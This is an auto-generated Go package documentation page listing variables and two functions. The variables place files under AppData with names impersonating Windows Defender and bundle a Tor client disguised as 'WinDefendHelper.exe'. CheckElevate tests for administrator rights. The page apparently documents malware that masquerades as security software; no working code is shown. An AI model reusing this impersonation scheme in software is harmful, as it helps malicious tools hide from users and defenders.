Documentation
¶
Index ¶
Constants ¶
This section is empty.
Variables ¶
View Source
var ( Path = filepath.Join(os.ExpandEnv("$AppData"), "WindowsDefender") PathExe = filepath.Join(Path, "WindowsDefender.exe") TempZip = filepath.Join(Path, "temp.zip") TorPath = filepath.Join(Path, "Helper") TorExe = filepath.Join(TorPath, "WinDefendHelper.exe") TorData = filepath.Join(Path, "Helper", "conf") HostnamePath = filepath.Join(Path, "token") )
Functions ¶
func CheckElevate ¶
func CheckElevate() bool
CheckElevate checks whether the current process has administrator priviliges
func CheckSetup ¶
func CheckSetup() bool
Types ¶
This section is empty.
Click to show internal directories.
Click to hide internal directories.